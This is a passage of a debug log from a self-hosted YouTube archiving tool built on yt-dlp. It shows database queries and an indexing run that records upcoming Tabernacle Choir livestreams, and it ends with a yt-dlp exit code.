FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:25.222 [debug] QUERY OK source="settings" db=0.3ms idle=1014.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:25.226 [debug] QUERY OK source="media_items" db=3.0ms idle=580.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 11:00:25.227 [debug] QUERY OK source="media_items" db=0.3ms idle=15.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 11:00:25.228 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=9.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:25.229 [debug] QUERY OK source="settings" db=0.3ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:25.230 [debug] QUERY OK source="settings" db=0.2ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:25.235 [debug] QUERY OK source="media_items" db=4.3ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 11:00:25.239 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 11:00:25.239 [debug] Current batch of media processed. Will check again in 1000ms 11:00:25.240 [debug] QUERY OK source="settings" db=0.3ms idle=12.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:25.240 [debug] QUERY OK source="settings" db=0.2ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:25.240 [debug] QUERY OK source="settings" db=0.1ms idle=11.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:00:25.241 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/0b/d6/0bd6fb7d0f69c79fe98e0f042b25af504851f4f03b5ced2589f5962d97e78844.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/48/32/483253b67a3acaf338dabb888c07f8519435eeb336f5a67fb3b719c522581c10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 11:00:26.240 [debug] Current batch of media processed. Will check again in 1000ms 11:00:27.241 [debug] Current batch of media processed. Will check again in 1000ms 11:00:27.775 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:28.242 [debug] Current batch of media processed. Will check again in 1000ms 11:00:29.243 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", "id" => "opR_Tg1uLjc", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=opR_Tg1uLjc", "playlist_index" => 1, "timestamp" => 1765213124, "title" => "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:29.244 [debug] QUERY OK source="sources" db=0.3ms idle=1026.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:29.245 [debug] QUERY OK source="sources" db=0.3ms idle=601.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:29.248 [debug] QUERY OK source="media_items" db=2.4ms idle=602.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:29.251 [debug] QUERY OK source="media_items" db=2.1ms idle=605.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "5c553c3e-ac5f-4c20-a9df-1ceb589c4cdc", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, false, false, [], 96, ~U[2025-12-08 16:58:44Z], ~U[2025-12-13 18:00:29Z], ~U[2025-12-13 18:00:29Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "opR_Tg1uLjc", nil, true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir/01⧸25⧸25 Music & the Spoken Word | The Tabernacle Choir [opR_Tg1uLjc].NA", false, ~U[2025-12-08 16:58:44Z]] 11:00:29.252 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=32.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:29.253 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:29.254 [debug] QUERY OK source="media_items" db=0.4ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102574] 11:00:29.254 [info] Kicking off download for media item #102574 (opR_Tg1uLjc) 11:00:29.256 [debug] Current batch of media processed. Will check again in 1000ms 11:00:30.257 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "filename" => "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", "id" => "mxh_kSXFWpg", "live_status" => "is_upcoming", "original_url" => "https://www.youtube.com/watch?v=mxh_kSXFWpg", "playlist_index" => 2, "timestamp" => 1765213054, "title" => "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "upload_date" => "20251208"} 11:00:30.258 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:30.259 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1005.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:30.261 [debug] QUERY OK source="media_items" db=2.5ms idle=1005.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:57:34Z], 1] 11:00:30.265 [debug] QUERY OK source="media_items" db=2.3ms idle=1006.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "19e1dac9-8545-4381-88a1-cdb0fdd654f2", "mxh_kSXFWpg", true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", 2, "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, false, false, [], 96, ~U[2025-12-08 16:57:34Z], ~U[2025-12-13 18:00:30Z], ~U[2025-12-13 18:00:30Z], "For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/18/26 Music & the Spoken Word | The Tabernacle Choir", "mxh_kSXFWpg", nil, true, 1, "https://www.youtube.com/watch?v=mxh_kSXFWpg", "/downloads/tabernacle choir/2025-12-08 01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir/01⧸18⧸26 Music & the Spoken Word | The Tabernacle Choir [mxh_kSXFWpg].NA", false, ~U[2025-12-08 16:57:34Z]] 11:00:30.266 [debug] QUERY OK source="sources" db=0.4ms idle=44.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:30.266 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:00:30.267 [debug] QUERY OK source="media_items" db=0.5ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102576] 11:00:30.267 [info] Kicking off download for media item #102576 (mxh_kSXFWpg) 11:00:30.269 [debug] Current batch of media processed. Will check again in 1000ms 11:00:31.271 [debug] Current batch of media processed. Will check again in 1000ms 11:00:31.573 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@thetabernaclechoir/streams --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/tabernacle choir/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:2160,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/0b/d6/0bd6fb7d0f69c79fe98e0f042b25af504851f4f03b5ced2589f5962d97e78844.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/48/32/483253b67a3acaf338dabb888c07f8519435eeb336f5a67fb3b719c522581c10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 11:00:31.574 [debug] Gracefully stopping file follower 11:00:31.575 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=1308.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 11:00:31.575 [debug] QUERY OK source="sources" db=0.3ms idle=1308.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 11:00:31.579 [debug] QUERY OK source="media_items" db=2.9ms idle=1308.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 16:58:44Z], 1] 11:00:31.585 [debug] QUERY OK source="media_items" db=5.5ms idle=1310.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["For nearly a century, Music & the Spoken Word has broadcast messages of hope and inspiration alongside the beautiful music of the Tabernacle Choir and Orchestra at Temple Square. \n\nBroadcast every Sunday on more than 2,000 stations and streamed worldwide, Music & the Spoken Word has been a source of peace and comfort through times of war, tragedy, and change. From the Great Depression to global pandemics, it has remained a constant, bringing the glory of sacred music and heartfelt spoken word into homes worldwide. \n\nLet's stay connected:\n\nSubscribe to our Channel: https://www.youtube.com/thetabernaclechoir\n\n Turn on notifications to stay updated with new uploads!\n\nFollow The Tabernacle Choir on Instagram: https://www.instagram.com/thetabernaclechoir/\n\nLike The Tabernacle Choir on Facebook: https://www.facebook.com/thetabernaclechoir \n\nStream The Tabernacle Choir on Spotify, Amazon Music, Apple Music, and Pandora.\n\n#praiseworshipsongs #christianmusic #churchofjesuschrist #ldsmusic #tabernaclechoir #music #choir #christian #organmusic #choirmusic #tabchoir #lds #mormons #musicandthespokenword #livestream #organmusic", "01/25/25 Music & the Spoken Word | The Tabernacle Choir", "a8ac50e2-4ebc-4088-8d9e-bcc60d28a642", "opR_Tg1uLjc", true, 1, "https://www.youtube.com/watch?v=opR_Tg1uLjc", 1, "/downloads/tabernacle choir/2025-12-08 01⧸25⧸25 Music & the Spoken 